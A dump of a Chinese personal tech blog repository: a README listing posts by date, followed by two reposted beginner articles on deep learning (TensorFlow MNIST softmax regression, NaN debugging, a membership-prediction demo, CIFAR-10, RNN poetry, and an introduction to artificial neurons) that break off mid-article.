├── README.md ├── _ ├── ai-everyone-plus.md ├── ai-everyone.md ├── coroutine-boil-water.md ├── custom-zend-object-hack-way.md ├── develop-on-apple.md ├── how-slow-is-disk-and-network.md ├── how-to-use-strong-type-in-pdo.md ├── images │ ├── AI-everyone-0.png │ ├── AI-everyone-1.png │ ├── AI-everyone-10.png │ ├── AI-everyone-11.png │ ├── AI-everyone-12.png │ ├── AI-everyone-13.png │ ├── AI-everyone-2.png │ ├── AI-everyone-3.png │ ├── AI-everyone-4.png │ ├── AI-everyone-5.png │ ├── AI-everyone-6.png │ ├── AI-everyone-7.png │ ├── AI-everyone-8.png │ ├── AI-everyone-9.png │ ├── AI-everyone-plus-0.png │ ├── AI-everyone-plus-1.png │ ├── AI-everyone-plus-10.png │ ├── AI-everyone-plus-11.png │ ├── AI-everyone-plus-12.png │ ├── AI-everyone-plus-13.png │ ├── AI-everyone-plus-14.png │ ├── AI-everyone-plus-15.png │ ├── AI-everyone-plus-16.png │ ├── AI-everyone-plus-17.png │ ├── AI-everyone-plus-18.png │ ├── AI-everyone-plus-19.png │ ├── AI-everyone-plus-2.png │ ├── AI-everyone-plus-20.png │ ├── AI-everyone-plus-21.png │ ├── AI-everyone-plus-22.png │ ├── AI-everyone-plus-23.png │ ├── AI-everyone-plus-24.png │ ├── AI-everyone-plus-25.png │ ├── AI-everyone-plus-26.png │ ├── AI-everyone-plus-27.png │ ├── AI-everyone-plus-28.png │ ├── AI-everyone-plus-29.png │ ├── AI-everyone-plus-3.png │ ├── AI-everyone-plus-30.png │ ├── AI-everyone-plus-31.png │ ├── AI-everyone-plus-32.png │ ├── AI-everyone-plus-4.png │ ├── AI-everyone-plus-5.png │ ├── AI-everyone-plus-6.png │ ├── AI-everyone-plus-7.png │ ├── AI-everyone-plus-8.png │ ├── AI-everyone-plus-9.png │ ├── swoole-coroutine-and-async-io-0.png │ ├── swoole-coroutine-and-async-io-1.png │ ├── swoole-coroutine-and-async-io-2.png │ ├── swoole-fpm-proxy-0.png │ ├── swoole-fpm-proxy-1.png │ ├── swoole-fpm-proxy-2.png │ └── swoole-fpm-proxy-3.png ├── mask-code.md ├── my-college-life.md ├── mysql-injection.md ├── mysql-procedure-implementation-in-swoole.md ├── mysql-protocol.md ├── mysql-status-check.md ├── php-app-security.md ├── php-callback.md ├── php-coredump-in-docker.md ├── php-next-jit.md ├── php-var.md ├── php-zend-arg-info.md ├── php8-rfc-named-params.md ├── phpdoc-type-hinting-for-array-of-objects.md ├── stronger-shell.md ├── swoole-coroutine-and-async-io.md ├── swoole-fpm-proxy.md ├── swoole-mysql-analyzation-1.md ├── tcp-nodelay.md ├── test.md ├── the-next-generation-of-php.md ├── ubuntu-php.md ├── what-are-zend-read-property-doing.md ├── why-not-http2.md ├── zend-hash-load-factor.md └── zhihu-sea-king.md └── gen.php /README.md: -------------------------------------------------------------------------------- 1 | # Twosee的博客 2 | 3 | 正儿八经的博客地址是: https://twosee.cn 4 | 5 | 不到50行PHP代码抽取hexo博客数据生成md和下载网络图片,然后提交到github仓库,让大家可以在github上直接看我的博文的迷之反向操作... 6 | 7 | 嗯...同时鼓励自己多写博文(咕咕咕)。 8 | 9 | 这里是可爱的目录开始 10 | 11 | | 主题 | 发布时间 | 12 | | ---- | ---- | 13 | | [在MacOS平台上进行C开发的一些经验(Apple M1)](./_/develop-on-apple.md) | 2021-12-04 | 14 | | [多路复用一样会阻塞用户线程,那它和同步阻塞有什么区别?](./_/zhihu-sea-king.md) | 2021-07-20 | 15 | | [有人发现PHP-7.3后内存占用变大了吗](./_/zend-hash-load-factor.md) | 2021-05-17 | 16 | | [漫谈PHP8新特性:命名参数](./_/php8-rfc-named-params.md) | 2020-07-17 | 17 | | [漫谈Swoole协程与异步IO](./_/swoole-coroutine-and-async-io.md) | 2020-06-12 | 18 | | [使用Swoole协程一键代理PHP-FPM服务](./_/swoole-fpm-proxy.md) | 2020-04-17 | 19 | | [PHP变量浅析](./_/php-var.md) | 2019-07-22 | 20 | | [9102记我刚刚结束的平平无奇的大学生活](./_/my-college-life.md) | 2019-06-28 | 21 | | [PHP内核浅析: zend_read_property在键值不存在的时候究竟返回了什么?](./_/what-are-zend-read-property-doing.md) | 2018-09-23 | 22 | | [用0.04秒看出大佬的网络编程基本功素养](./_/tcp-nodelay.md) | 2018-09-16 | 23 | | [自定义zend_object的结构体的hack技巧](./_/custom-zend-object-hack-way.md) | 2018-07-16 | 24 | | [在Swoole中实现MySQL存储过程](./_/mysql-procedure-implementation-in-swoole.md) | 2018-07-16 | 25 | | [PHP内核 - ZEND_BEGIN_ARG_WITH_RETURN_TYPE_INFO_EX 分析](./_/php-zend-arg-info.md) | 2018-07-15 | 26 | | [Ubuntu下编译PHP所需的依赖库](./_/ubuntu-php.md) | 2018-06-13 | 27 | | [并发,协程与烧开水问题](./_/coroutine-boil-water.md) | 2018-05-21 | 28 | | [[整理] MySQL协议分析](./_/mysql-protocol.md) | 2018-05-15 | 29 | | [[整理]MySQL查看连接数以及状态](./_/mysql-status-check.md) | 2018-05-12 | 30 | | [Swoole的Mysql模块浅析-1](./_/swoole-mysql-analyzation-1.md) | 2018-05-11 | 31 | | [why-not-http2](./_/why-not-http2.md) | 2018-04-09 | 32 | | [[整理]【位运算经典应用】 标志位与掩码](./_/mask-code.md) | 2018-04-06 | 33 | | [[整理] 写出健壮的Shell脚本及Shell异常处理](./_/stronger-shell.md) | 2018-03-18 | 34 | | [在Docker中处理coredump && PHP-coredump与gdb使用](./_/php-coredump-in-docker.md) | 2018-03-04 | 35 | | [[译] PHPDoc类型提示数组的对象](./_/phpdoc-type-hinting-for-array-of-objects.md) | 2018-01-28 | 36 | | [[转] 2018 PHP 应用程序安全设计指北](./_/php-app-security.md) | 2018-01-05 | 37 | | [[转] Mysql注入后利用](./_/mysql-injection.md) | 2018-01-05 | 38 | | [[转] 4种PHP回调函数](./_/php-callback.md) | 2018-01-03 | 39 | | [[转] 人人都可以做深度学习应用 加强篇](./_/ai-everyone-plus.md) | 2018-01-03 | 40 | | [[转] 人人都可以做深度学习应用 入门篇](./_/ai-everyone.md) | 2018-01-03 | 41 | | [[转] PHP Next JIT](./_/php-next-jit.md) | 2018-01-03 | 42 | | [[转] 2017年PHP开发者大会总结 鸟哥JIT篇](./_/the-next-generation-of-php.md) | 2018-01-03 | 43 | | [如何在PDO查询中返回强类型](./_/how-to-use-strong-type-in-pdo.md) | 2017-12-30 | 44 | | [[转] 让 CPU 告诉你硬盘和网络到底有多慢](./_/how-slow-is-disk-and-network.md) | 2017-12-28 | 45 | | [woo](./_/test.md) | 2017-12-28 | 46 | 47 | 这里是可爱的目录结束 48 | -------------------------------------------------------------------------------- /_/ai-everyone-plus.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: "[转] 人人都可以做深度学习应用 加强篇" 3 | date: 2018-01-04 05:40:56 4 | tags: ai 5 | --- 6 | 7 | ## 经典入门demo:识别手写数字(MNIST) 8 | 9 | 常规的编程入门有“Hello world”程序,而深度学习的入门程序则是MNIST,一个识别28×28像素的图片中的手写数字的程序。 10 | 11 | 备注:[MNIST 的数据和官网](http://yann.lecun.com/exdb/mnist/) 12 | 13 | 深度学习的内容,其背后会涉及比较多的数学原理,作为一个初学者,受限于我个人的数学和技术水平,也许并不足以准确讲述相关的数学原理,因此,本文会更多的关注“应用层面”,不对背后的数学原理进行展开,感谢谅解。 14 | 15 | 16 | 17 | ### 1. 加载数据 18 | 19 | ![img](images/AI-everyone-plus-0.png) 20 | 21 | 程序执行的第一步当然是加载数据,根据我们之前获得的数据集主要包括两部分:60000的训练数据集(mnist.train)和10000的测试数据集(mnist.test)。里面每一行,是一个28×28=784的数组,数组的本质就是将28×28像素的图片,转化成对应的像素点阵。 22 | 23 | 例如手写字1的图片转换出来的对应矩阵表示如下: 24 | 25 | ![img](images/AI-everyone-plus-1.png) 26 | 27 | 之前我们经常听说,图片方面的深度学习需要大量的计算能力,甚至需要采用昂贵、专业的GPU(Nvidia的GPU),从上述转化的案例我们就已经可以获得一些答案了。一张784像素的图片,对学习模型来说,就有784个特征,而我们实际的相片和图片动辄几十万、百万级别,则对应的基础特征数也是这个数量级,基于这样数量级的数组进行大规模运算,没有强大的计算能力支持,确实寸步难行。当然,这个入门的MNIST的demo还是可以比较快速的跑完。 28 | 29 | Demo中的关键代码(读取并且加载数据到数组对象中,方便后面使用): 30 | 31 | ![img](images/AI-everyone-plus-2.png) 32 | 33 | ### 2. 构建模型 34 | 35 | MNIST的每一张图片都表示一个数字,从0到9。而模型最终期望获得的是:给定一张图片,获得代表每个数字的概率。比如说,模型可能推测一张数字9的图片代表数字9的概率是80%但是判断它是8的概率是5%(因为8和9都有上半部分的小圆),然后给予它代表其他数字的概率更小的值。 36 | 37 | ![img](images/AI-everyone-plus-3.png) 38 | 39 | MNIST的入门例子,采用的是softmax回归(softmax regression),softmax模型可以用来给不同的对象分配概率。 40 | 为了得到一张给定图片属于某个特定数字类的证据(evidence),我们对图片的784个特征(点阵里的各个像素值)进行加权求和。如果某个特征(像素值)具有很强的证据说明这张图片不属于该类,那么相应的权重值为负数,相反如果某个特征(像素值)拥有有利的证据支持这张图片属于这个类,那么权重值是正数。类似前面提到的房价估算例子,对每一个像素点作出了一个权重分配。 41 | 42 | 假设我们获得一张图片,需要计算它是8的概率,转化成数学公式则如下: 43 | 44 | ![img](images/AI-everyone-plus-4.png) 45 | 46 | 公式中的i代表需要预测的数字(8),代表预测数字为8的情况下,784个特征的不同权重值,代表8的偏置量(bias),X则是该图片784个特征的值。通过上述计算,我们则可以获得证明该图片是8的证据(evidence)的总和,softmax函数可以把这些证据转换成概率 y。(softmax的数学原理,辛苦各位查询相关资料哈) 47 | 48 | 将前面的过程概括成一张图(来自官方)则如下: 49 | 50 | ![img](images/AI-everyone-plus-5.png) 51 | 52 | 不同的特征x和对应不同数字的权重进行相乘和求和,则获得在各个数字的分布概率,取概率最大的值,则认为是我们的图片预测结果。 53 | 54 | 将上述过程写成一个等式,则如下: 55 | 56 | ![img](images/AI-everyone-plus-6.png) 57 | 58 | 该等式在矩阵乘法里可以非常简单地表示,则等价为: 59 | 60 | ![img](images/AI-everyone-plus-7.png) 61 | 62 | 不展开里面的具体数值,则可以简化为: 63 | 64 | ![img](images/AI-everyone-plus-8.png) 65 | 66 | 如果我们对线性代数中矩阵相关内容有适当学习,其实,就会明白矩阵表达在一些问题上,更易于理解。如果对矩阵内容不太记得了,也没有关系,后面我会附加上线性代数的视频。 67 | 68 | 虽然前面讲述了这么多,其实关键代码就四行: 69 | 70 | ![img](images/AI-everyone-plus-9.png) 71 | 72 | 上述代码都是类似变量占位符,先设置好模型计算方式,在真实训练流程中,需要批量读取源数据,不断给它们填充数据,模型计算才会真实跑起来。tf.zeros则表示,先给它们统一赋值为0占位。X数据是从数据文件中读取的,而w、b是在训练过程中不断变化和更新的,y则是基于前面的数据进行计算得到。 73 | 74 | ### 3. 损失函数和优化设置 75 | 76 | 为了训练我们的模型,我们首先需要定义一个指标来衡量这个模型是好还是坏。这个指标称为成本(cost)或损失(loss),然后尽量最小化这个指标。简单的说,就是我们需要最小化loss的值,loss的值越小,则我们的模型越逼近标签的真实结果。 77 | 78 | Demo中使用的损失函数是“交叉熵”(cross-entropy),它的公式如下: 79 | 80 | ![img](images/AI-everyone-plus-10.png) 81 | 82 | y 是我们预测的概率分布, y' 是实际的分布(我们输入的),交叉熵是用来衡量我们的预测结果的不准确性。TensorFlow拥有一张描述各个计算单元的图,也就是整个模型的计算流程,它可以自动地使用反向传播算法(backpropagation algorithm),来确定我们的权重等变量是如何影响我们想要最小化的那个loss值的。然后,TensorFlow会用我们设定好的优化算法来不断修改变量以降低loss值。 83 | 84 | 其中,demo采用梯度下降算法(gradient descent algorithm)以0.01的学习速率最小化交叉熵。梯度下降算法是一个简单的学习过程,TensorFlow只需将每个变量一点点地往使loss值不断降低的方向更新。 85 | 86 | 对应的关键代码如下: 87 | 88 | ![img](images/AI-everyone-plus-11.png) 89 | 90 | 备注内容: 91 | 92 | - [交叉熵](http://colah.github.io/posts/2015-09-Visual-Information/) 93 | - [反向传播](http://colah.github.io/posts/2015-08-Backprop/) 94 | 95 | 在代码中会看见one-hot vector的概念和变量名,其实这个是个非常简单的东西,就是设置一个10个元素的数组,其中只有一个是1,其他都是0,以此表示数字的标签结果。 96 | 例如表示数字3的标签值: 97 | [0,0,0,1,0,0,0,0,0,0] 98 | 99 | ### 4. 训练运算和模型准确度测试 100 | 101 | 通过前面的实现,我们已经设置好了整个模型的计算“流程图”,它们都成为TensorFlow框架的一部分。于是,我们就可以启动我们的训练程序,下面的代码的含义是,循环训练我们的模型500次,每次批量取50个训练样本。 102 | 103 | ![img](images/AI-everyone-plus-12.png) 104 | 105 | 其训练过程,其实就是TensorFlow框架的启动训练过程,在这个过程中,python批量地将数据交给底层库进行处理。 106 | 我在官方的demo里追加了两行代码,每隔50次则额外计算一次当前模型的识别准确率。它并非必要的代码,仅仅用于方便观察整个模型的识别准确率逐步变化的过程。 107 | 108 | ![img](images/AI-everyone-plus-13.png) 109 | 110 | 当然,里面涉及的accuracy(预测准确率)等变量,需要在前面的地方定义占位: 111 | 112 | ![img](images/AI-everyone-plus-14.png) 113 | 114 | 当我们训练完毕,则到了验证我们的模型准确率的时候,和前面相同: 115 | 116 | ![img](images/AI-everyone-plus-15.png) 117 | 118 | 我的demo跑出来的结果如下(softmax回归的例子运行速度还是比较快的),当前的准确率是0.9252: 119 | 120 | ![img](images/AI-everyone-plus-16.png) 121 | 122 | ### 5. 实时查看参数的数值的方法 123 | 124 | 刚开始跑官方的demo的时候,我们总想将相关变量的值打印出来看看,是怎样一种格式和状态。从demo的代码中,我们可以看见很多的Tensor变量对象,而实际上这些变量对象都是无法直接输出查看,粗略地理解,有些只是占位符,直接输出的话,会获得类似如下的一个对象: 125 | 126 | ``` 127 | Tensor("Equal:0", shape=(?,), dtype=bool) 128 | 129 | ``` 130 | 131 | 既然它是占位符,那么我们就必须喂一些数据给它,它才能将真实内容展示出来。因此,正确的方法是,在打印时通常需要加上当前的输入数据给它。 132 | 133 | 例如,查看y的概率数据: 134 | 135 | ``` 136 | print(sess.run(y, feed_dict={x: batch_xs, y_: batch_ys})) 137 | 138 | ``` 139 | 140 | 部分非占位符的变量还可以这样输出来: 141 | 142 | ``` 143 | print(W.eval()) 144 | 145 | ``` 146 | 147 | 总的来说,92%的识别准确率是比较令人失望,因此,官方的MNIST其实也有多种模型的不同版本,其中比较适合图片处理的CNN(卷积神经网络)的版本,可以获得99%以上的准确率,当然,它的执行耗时也是比较长的。 148 | 149 | (备注:cnn_mnist.py就是卷积神经网络版本的,后面有附带微云网盘的下载url) 150 | 151 | 前馈神经网络(feed-forward neural network)版本的MNIST,可达到97%: 152 | 153 | ![img](images/AI-everyone-plus-17.png) 154 | 155 | 分享在微云上的数据和源码: 156 | 157 | (备注:国外网站下载都比较慢,我这份下载相对会快一些,在环境已经搭建完毕的情况下,执行里面的run.py即可) 158 | 159 | ## 五、和业务场景结合的demo:预测用户是否是超级会员身份 160 | 161 | 根据前面的内容,我们对上述基于softmax只是三层(输入、处理、输出)的神经网络模型已经比较熟悉,那么,这个模型是否可以应用到我们具体的业务场景中,其中的难度大吗?为了验证这一点,我拿了一些现网的数据来做了这个试验。 162 | 163 | **1. 数据准备** 164 | 165 | ![img](images/AI-everyone-plus-18.png) 166 | 167 | 我将一个现网的电影票活动的用户参与数据,包括点击过哪些按钮、手机平台、IP地址、参与时间等信息抓取了出来。其实这些数据当中是隐含了用户的身份信息的,例如,某些礼包的必须是超级会员身份才能领取,如果这个按钮用户点击领取成功,则可以证明该用户的身份肯定是超级会员身份。当然,我只是将这些不知道相不相关的数据特征直观的整理出来,作为我们的样本数据,然后对应的标签为超级会员身份。 168 | 169 | 用于训练的样本数据格式如下: 170 | 171 | ![img](images/AI-everyone-plus-19.png) 172 | 173 | 第一列是QQ号码,只做认知标识的,第二列表示是否超级会员身份,作为训练的标签值,后面的就是IP地址,平台标志位以及参与活动的参与记录(0是未成功参与,1表示成功参与)。则获得一个拥有11个特征的数组(经过一些转化和映射,将特别大的数变小): 174 | 175 | [0.9166666666666666, 0.4392156862745098, 0.984313725490196, 0.7411764705882353, 0.2196078431372549, 1.0, 0.0, 0.0, 0.0, 0.0, 1.0] 176 | 177 | 对应的是否是超级数据格式如下,作为监督学习的标签: 178 | 179 | 超级会员:[0, 1] 180 | 非超级会员:[1, 0] 181 | 182 | 这里需要专门解释下,在实际应用中需要做数据转换的原因。一方面,将这些数据做一个映射转化,有助于简化数据模型。另一方面,是为了规避NaN的问题,当数值过大,在一些数学指数和除法的浮点数运算中,有可能得到一个无穷大的数值,或者其他溢出的情形,在Python里会变为NaN类型,这个类型会破坏掉后续全部计算结果,导致计算异常。 183 | 例如下图,就是特征数值过大,在训练过程中,导致中间某些参数累计越来越大,最终导致产生NaN值,后续的计算结果全部被破坏掉: 184 | 185 | ![img](images/AI-everyone-plus-20.png) 186 | 187 | 而导致NaN的原因在复杂的数学计算里,会产生无穷大或者无穷小。例如,在我们的这个demo中,产生NaN的原因,主要是因为softmax的计算导致。 188 | 189 | ![img](images/AI-everyone-plus-21.png) 190 | 191 | RuntimeWarning: divide by zero encountered in log 192 | 193 | 刚开始做实际的业务应用,就发现经常跑出极奇怪异的结果(遇到NaN问题,我发现程序也能继续走下去),几经排查才发现是NAN值问题,是非常令人沮丧的。当然,经过仔细分析问题,发现也并非没有排查的方式。因为,NaN值是个奇特的类型,可以采用下述编码方式NaN != NaN来检测自己的训练过程中,是否出现的NaN。 194 | 195 | 关键程序代码如下: 196 | 197 | ![img](images/AI-everyone-plus-22.png) 198 | 199 | 我采用上述方法,非常顺利地找到自己的深度学习程序,在学习到哪一批数据时产生的NaN。因此,很多原始数据我们都会做一个除以某个值,让数值变小的操作。例如官方的MNIST也是这样做的,将256的像素颜色的数值统一除以255,让它们都变成一个小于1的浮点数。 200 | 201 | MNIST在处理原始图片像素特征数据时,也对特征数据进行了变小处理: 202 | 203 | ![img](images/AI-everyone-plus-23.png) 204 | 205 | NaN值问题一度深深地困扰着我(往事不堪回首-__-!!),特别放到这里,避免入门的同学踩坑。 206 | 207 | **2. 执行结果** 208 | 209 | 我准备的训练集(6700)和测试集(1000)数据并不多,不过,超级会员身份的预测准确率最终可以达到87%。虽然,预测准确率是不高,这个可能和我的训练集数据比较少有关系,不过,整个模型也没有花费多少时间,从整理数据、编码、训练到最终跑出结果,只用了2个晚上的时间。 210 | 211 | ![img](images/AI-everyone-plus-24.png) 212 | 213 | 下图是两个实际的测试例子,例如,该模型预测第一个QQ用户有82%的概率是非超级会员用户,17.9%的概率为超级会员用户(该预测是准确的)。 214 | 215 | ![img](images/AI-everyone-plus-25.png) 216 | 217 | 通过上面的这个例子,我们会发觉其实对于某些比较简单的场景下应用,我们是可以比较容易就实现的。 218 | 219 | ## 六、其他模型 220 | 221 | **1. CIFAR-10识别图片分类的demo(官方)** 222 | 223 | CIFAR-10数据集的分类是机器学习中一个公开的基准测试问题,它任务是对一组32x32RGB的图像进行分类,这些图像涵盖了10个类别:飞机, 汽车, 鸟, 猫, 鹿, 狗, 青蛙, 马, 船和卡车。 224 | 225 | 这也是官方的重要demo之一。 226 | 227 | ![img](images/AI-everyone-plus-26.png) 228 | 229 | 更详细的介绍内容: 230 | 231 | - [The CIFAR-10 dataset](http://www.cs.toronto.edu/~kriz/cifar.html) 232 | - [卷积神经网络](http://tensorfly.cn/tfdoc/tutorials/deep_cnn.html) 233 | 234 | 该例子执行的过程比较长,需要耐心等待。 235 | 236 | 我在机器上的执行过程和结果: 237 | 238 | cifar10_train.py用于训练: 239 | 240 | ![img](images/AI-everyone-plus-27.png) 241 | 242 | cifar10_eval.py用于检验结果: 243 | 244 | ![img](images/AI-everyone-plus-28.png) 245 | 246 | 识别率不高是因为该官方模型的识别率本来就不高: 247 | 248 | ![img](images/AI-everyone-plus-29.png) 249 | 250 | 另外,官方的例子我首次在1月5日跑的时候,还是有一些小问题的,无法跑起来(最新的官方可能已经修正),建议可以直接使用我放到微云上的版本(代码里面的log和读取文件的路径,需要调整一下)。 251 | 252 | 源码下载: 253 | 254 | 微云盘里,不含训练集和测试集的图片数据,但是,程序如果检测到这些图片不存在,会自行下载: 255 | 256 | ![img](images/AI-everyone-plus-30.png) 257 | 258 | **2. 是否大于5岁的测试demo** 259 | 260 | 为了检验softma回归模型是否能够学习到一些我自己设定好的规则,我做了一个小demo来测试。我通过随机数生成的方式构造了一系列的数据,让前面的softmax回归模型去学习,最终看看模型能否通过训练集的学习,最终100%预测这个样本数据是否大于5岁。 261 | 262 | 模型和数据本身都比较简单,构造的数据的方式: 263 | 264 | 我随机构造一个只有2个特征纬度的样本数据,[year, 1],其中year随机取值0-10,数字1是放进去作为干扰。 265 | 266 | 如果year大于5岁,则标签设置为:[0, 0, 1]; 267 | 268 | 否则,标签设置为:[0, 1, 0]。 269 | 270 | 生成了6000条假训练集去训练该模型,最终它能做到100%成功预测准确: 271 | 272 | ![img](images/AI-everyone-plus-31.png) 273 | 274 | 微云下载(源码下载): 275 | 276 | **3. 基于RNN的古诗学习** 277 | 278 | 最开头的AI写古诗,非常令人感到惊艳,那个demo是美国的一个研究者做出来的,能够根据主题生成不能的古诗,而且古诗的质量还比较高。于是,我也尝试在自己的机器上也跑一个能够写古诗的模型,后来我找到的是一个基于RNN的模型。RNN循环神经网络(Recurrent Neural Networks),是非常常用的深度学习模型之一。我基于一个外部的demo,进行一些调整后跑起一个能够学习古诗和写古诗的比较简单的程序。 279 | 280 | 执行写诗(让它写了十首): 281 | 282 | 1. 抑滴留居潋罅斜,二川还羡五侯家。古刘称士身相染,桃李栽林欲称家。回首二毛相喘日,万当仙性尽甘无。如何羽马嘶来泪,不信红峰一寸西。 283 | 2. 废寺松阴月似空,垂杨风起晚光催。乌心不把嫌香径,出定沧洲几好清。兰逐白头邻斧蝶,苍苍归路自清埃。渔樵若欲斜阳羡,桂苑西河碧朔来。 284 | 3. 遥天花落甚巫山,凤珮飞驰不骋庄。翠初才象饮毫势,上月朱炉一重牛。香催戍渚同虚客,石势填楼取蕊红。佳句旧清箱畔意,剪颜相激菊花繁。 285 | 4. 江上萧条第一取,名长经起月还游。数尺温皋云战远,放船乡鬼蘸云多。相逢槛上西风动,莫听风烟认钓鱼。堤费禽雏应昨梦,去朝从此满玄尘。 286 | 5. 避命抛醺背暮时,见川谁哭梦知年。却随筵里腥消极,不遇嘉唐两带春。大岁秘魔窥石税,鹤成应听白云中。朝浮到岸鸱巇恨,不向青青听径长。 287 | 6. 楚田馀绝宇氤氲,细雨洲头万里凉。百叶长看如不尽,水东春夜足残峰。湖头风浪斜暾鼓,北阙别罹初里村。山在四天三顾客,辘轳争养抵丹墀。 288 | 7. 九日重门携手时,吟疑须渴辞金香。钓来犹绕结茶酒,衣上敬亭宁强烧。自明不肯疑恩日,琴馆寒霖急暮霜。划口濡于孤姹末,出谢空卿寄银机。莲龛不足厌丝屦,华骑敷砧出钓矶。 289 | 8. 为到席中逢旧木,容华道路不能休。时闲客后多时石,暗水天边暖人说。风弄霜花嗥明镜,犀成磨逐乍牵肠。何劳相听真行侍,石石班场古政蹄。 290 | 9. 听巾邑外见朱兰,杂时临厢北满香。门外玉坛花府古,香牌风出即升登。陵桥翠黛销仙妙,晓接红楼叠影闻。敢把苦谣金字表,应从科剑独频行。 291 | 10. 昨日荣枯桃李庆,紫骝坚黠自何侵。险知河在皆降月,汉县烟波白发来。仍省封身明月阁,不知吹水洽谁非。更拟惭送风痕去,只怕鲸雏是后仙。 292 | 293 | 另外,我抽取其中一些个人认为写得比较好的诗句(以前跑出来的,不在上图中): 294 | 295 | ![img](images/AI-everyone-plus-32.png) 296 | 297 | 该模型比较简单,写诗的水平不如最前面我介绍的美国研究者demo,但是,所采用的基本方法应该是类似的,只是他做的更为复杂。 298 | 299 | 另外,这是一个通用模型,可以学习不同的内容(古诗、现代诗、宋词或者英文诗等),就可以生成对应的结果。 300 | 301 | ## 七、深度学习的入门学习体会 302 | 303 | 1. 人工智能和深度学习技术并不神秘,更像是一个新型的工具,通过喂数据给它,然后,它能发现这些数据背后的规律,并为我们所用。 304 | 2. 数学基础比较重要,这样有助于理解模型背后的数学原理,不过,从纯应用角度来说,并不一定需要完全掌握数学,也可以提前开始做一些尝试和学习。 305 | 3. 我深深地感到计算资源非常缺乏,每次调整程序的参数或训练数据后,跑完一次训练集经常要很多个小时,部分场景不跑多一些训练集数据,看不出差别,例如写诗的案例。个人感觉,这个是制约AI发展的重要问题,它直接让程序的“调试”效率非常低下。 306 | 4. 中文文档比较少,英文文档也不多,开源社区一直在快速更新,文档的内容过时也比较快。因此,入门学习时遇到的问题会比较多,并且缺乏成型的文档。 307 | 308 | ## 八、小结 309 | 310 | 我不知道人工智能的时代是否真的会来临,也不知道它将要走向何方,但是,毫无疑问,它是一种全新的技术思维模式。更好的探索和学习这种新技术,然后在业务应用场景寻求结合点,最终达到帮助我们的业务获得更好的成果,一直以来,就是我们工程师的核心宗旨。另一方面,对发展有重大推动作用的新技术,通常会快速的发展并且走向普及,就如同我们的编程一样,因此,人人都可以做深度学习应用,并非只是一句噱头。 311 | 312 | **参考文档:** 313 | 314 | [TensorFlow中文社区](http://www.tensorfly.cn/) 315 | [TensorFlow英文社区](https://www.tensorflow.org/) 316 | 317 | **数学相关的内容:** 318 | 319 | [高中和大学数学部分内容](http://url.cn/44r6LAQ) 320 | [线性代数视频](http://open.163.com/special/opencourse/daishu.html) 321 | 322 | > 转载自小时光茶社 -------------------------------------------------------------------------------- /_/ai-everyone.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: "[转] 人人都可以做深度学习应用 入门篇" 3 | date: 2018-01-04 05:38:41 4 | tags: ai 5 | --- 6 | 7 | 2017年围棋界发生了一件比较重要事,Master(Alphago)以60连胜横扫天下,击败各路世界冠军,人工智能以气势如虹的姿态出现在我们人类的面前。围棋曾经一度被称为“人类智慧的堡垒”,如今,这座堡垒也随之成为过去。从2016年三月份AlphaGo击败李世石开始,AI全面进入我们大众的视野,对于它的讨论变得更为火热起来,整个业界普遍认为,它很可能带来下一次科技革命,并且,在未来可预见的10多年里,深刻地改变我们的生活。 8 | 9 | 10 | 11 | 其实,AI除了可以做我们熟知的人脸、语音等识别之外,它可以做蛮多有趣的事情。 12 | 13 | 例如,让AI学习大量古诗之后写古诗,并且可以写出质量非常不错的古诗。 14 | 15 | ![img](images/AI-everyone-0.png) 16 | 17 | 又或者,将两部设计造型不同的汽车进行融合,形成全新一种设计风格的新汽车造型。 18 | 19 | ![img](images/AI-everyone-1.png) 20 | 21 | 还有,之前大家在朋友圈里可能看过的,将相片转换成对应的艺术风格的画作。 22 | 23 | ![img](images/AI-everyone-2.png) 24 | 25 | 当前,人工智能已经在图像、语音等多个领域的技术上,取得了全面的突破。与此同时,另外一个问题随之而来,如果这一轮的AI浪潮真的将会掀起新的科技革命,那么在可预见的未来,我们整个互联网都将发生翻天覆地的变化,深刻影响我们的生活。那么作为普通业务开发工程师的我,又应该以何种态度和方式应对这场时代洪流的冲击呢? 26 | 27 | 在回答这个问题之前,我们先一起看看上一轮由计算机信息技术引领的科技革命中,过去30多年中国程序员的角色变化: 28 | 29 | ![img](images/AI-everyone-3.png) 30 | 31 | 通过上图可以简总结:编程技术在不断地发展并且走向普及,从最开始掌握在科学家和专家学者手中的技能,逐渐发展为一门大众技能。换而言之,我们公司内很多资深的工程师,如果带着今天对编程和计算机的理解和理念回到1980年,那么他无疑就是那个时代的计算机专家。 32 | 33 | 如果这一轮AI浪潮真的会带来新的一轮科技革命,那么我们相信,它也会遵循类似的发展轨迹,逐步发展和走向普及。如果基于这个理解,或许,我们可以通过积极学习,争取成为第一代AI工程师。 34 | 35 | ## 二、深度学习技术 36 | 37 | 这一轮AI的技术突破,主要源于深度学习技术,而关于AI和深度学习的发展历史我们这里不重复讲述,可自行查阅。我用了一个多月的业务时间,去了解和学习了深度学习技术,在这里,我尝试以一名业务开发工程师的视角,以尽量容易让大家理解的方式一起探讨下深度学习的原理,尽管,受限于我个人的技术水平和掌握程度,未必完全准确。 38 | 39 | ### 1. 人的智能和神经元 40 | 41 | 人类智能最重要的部分是大脑,大脑虽然复杂,它的组成单元却是相对简单的,大脑皮层以及整个神经系统,是由神经元细胞组成的。而一个神经元细胞,由树突和轴突组成,它们分别代表输入和输出。连在细胞膜上的分叉结构叫树突,是输入,那根长长的“尾巴”叫轴突,是输出。神经元输出的有电信号和化学信号,最主要的是沿着轴突细胞膜表面传播的一个电脉冲。忽略掉各种细节,神经元,就是一个积累了足够的输入,就产生一次输出(兴奋)的相对简单的装置。 42 | 43 | ![img](images/AI-everyone-4.png) 44 | 45 | 树突和轴突都有大量的分支,轴突的末端通常连接到其他细胞的树突上,连接点上是一个叫“突触”的结构。一个神经元的输出通过突触传递给成千上万个下游的神经元,神经元可以调整突触的结合强度,并且,有的突触是促进下游细胞的兴奋,有的是则是抑制。一个神经元有成千上万个上游神经元,积累它们的输入,产生输出。 46 | 47 | ![img](images/AI-everyone-5.png) 48 | 49 | 人脑有1000亿个神经元,1000万亿个突触,它们组成人脑中庞大的神经网络,最终产生的结果即是人的智能。 50 | 51 | ### 2. 人工神经元和神经网络 52 | 53 | 一个神经元的结构相对来说是比较简单的,于是,科学家们就思考,我们的AI是否可以从中获得借鉴?神经元接受激励,输出一个响应的方式,同计算机中的输入输出非常类似,看起来简直就是量身定做的,刚好可以用一个函数来模拟。 54 | 55 | ![img](images/AI-everyone-6.png) 56 | 57 | 